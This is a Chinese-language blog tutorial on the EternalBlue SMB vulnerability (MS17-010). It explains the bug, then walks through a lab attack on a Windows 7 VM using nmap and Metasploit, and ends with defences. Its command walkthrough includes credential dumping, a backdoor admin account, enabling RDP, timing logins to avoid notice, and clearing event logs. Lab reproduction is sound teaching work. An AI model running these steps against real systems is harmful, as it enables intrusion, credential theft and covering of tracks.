永恒之蓝
一、永恒之蓝概述
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry程序,使全世界大范围内遭受了该程序,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。但不过在该程序出来不久就被微软通过打补丁修复了。
“永恒之蓝”可远程攻击Windows的445端口(文件共享),如果系统没有安装今年3月的微软补丁(MS17-010),无需用户任何操作,只要开机上网,“永恒之蓝”就能在电脑里执行任意代码,植入勒索病毒等恶意程序。
二、漏洞原理
1、SMB协议
SMB(Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
2、漏洞成因
漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(内核的数据结构,Large Non-Paged Kernel Pool)上存在缓冲区溢出。
函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小。
然后会进行如下操作:
- srv!SrvOs2FeaListSizeToNt会计算FEA list的大小并更新待转换的FEA list的大小
- 因为错误的使用WORD强制类型转换,导致计算出来的待转换的FEA list的大小比真正的FEA list大
- 因为原先的总大小计算错误,导致当FEA list被转化为NTFEA list时,会在非分页池导致缓冲区溢出
3、受影响版本:
目前已知受影响的Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
三、环境介绍
-
攻击机: kali虚拟机,
-
靶机: win7(启用文件共享和网络发现服务;关闭防火墙;关闭公用网络设置)
-
工具:Kali中的nmap metasploit(MSF)
-
Win7 和 kali 桥接到同一局域网中
四、漏洞复现
0、环境确认
查看 kali IP地址:ifconfig
查看 win7 IP地址:ipconfig
关闭win7防火墙
判断连通性
ping win-IP

1、主机发现
发现网段内的在线主机和开放的端口,扫出来端口135、139和445 是开放的,如果没有开启防火墙的状况下是可以直接利用的。
方法一 、Namp
查看在线主机
nmap -sP 192.168.0.0/24

端口扫描
nmap -sT 192.168.0.172 #sT(使用TCP进行扫描)

方法二、metasploit(MSF)
查看在线主机
sudo su
msfconsole //启动MSF
use auxiliary/scanner/discovery/arp_sweep //use使用模块
set rhosts 192.168.0.0/24 //设置扫描网段
set threads 30 //提高线程
run //运行


端口扫描
use auxiliary/scanner/portscan/tcp //使用模块
set rhosts 192.168.0.172 //设置远程ip
run

2、利用模块
MSF 搜索永恒之蓝的漏洞 输入search ms17-010 (微软 永恒之蓝编号ms17-010)

- blue就是永恒之蓝的漏洞
- psexec是可利用的一个javascripe(JS)的一个模块
- command是运行cmd的
- 最后一个是探测的模块
a.先利用探测的模块看一下我们的这台win7有没有可能存在漏洞。
use auxiliary/scanner/smb/smb_ms17_010 //使用模块 use 3也可以
show options //查看要配置的参数
set rhosts 192.168.0.172 //设置远程ip
run //运行

b.再利用永恒之蓝的模块
use exploit/windows/smb/ms17_010_eternalblue
show options #利用show options查看要配置的参数情况
set rhosts 192.168.0.172
exploit/run

配置好参数通过run或exploit启动脚本,看见meterpreter就是利用成功。

3、漏洞利用
利用成功后,我们可以做以下的操作:
1.可以使用截屏命令screenshot截取漏洞机页

2.还可以利用upload和download上传和下载文件


3.查看密码
kiwi模块查看密码:
load kiwi #加载kiwi模块
creds_all #列举所有凭据

4、获得管理员shell
可通过shell命令进入漏洞机管理员命令行,如果命令行乱码可用 chcp 65001调编码成UTF-8,chcp 936是改成GBK。



创建用户
由于这样远程登录win7用户A,在win7会把用户A顶下去:所以我们要创建一个新用户用来登录:
net user hack 123 /add #hack 密码123
net localgroup administrators hack /add #将用户kill添加到Win7的本地管理员组中,获得管理员权限
net user #查看用户
远程桌面
打开3389端口:
方法 一:
meterpreter
meterpreter > run post/windows/manage/enable_rdp //启用目标主机的3389端口远程桌面
meterpreter > idletime //查看远程用户的空闲时长,空闲时间长再进行远程登陆,减小被发现的风险。

方法二:
shell
//打开3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
//关闭3389端口命令,只要把0变成1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 1 /f
kali rdesktop命令远程登陆靶机
root@kali:~# rdesktop 192.168.0.172 //使用 rdesktop 命令远程连接桌面
5、清除日志
clearev
五、漏洞防御
- 禁用SMB1协议
- 打开Windows Update,或手动安装补丁
- 使用防火墙阻止445端口的连接,或者使用进/出站规则阻止445端口的连接
- 不要随意打开陌生的文件
- 安装杀毒软件,及时更新病毒库

本文详细介绍了永恒之蓝漏洞的原理、利用过程,涉及SMB协议、漏洞成因、环境复现、利用工具如Metasploit,以及如何防御和修复这一Windows系统安全威胁。
2万+

被折叠的 条评论
为什么被折叠?



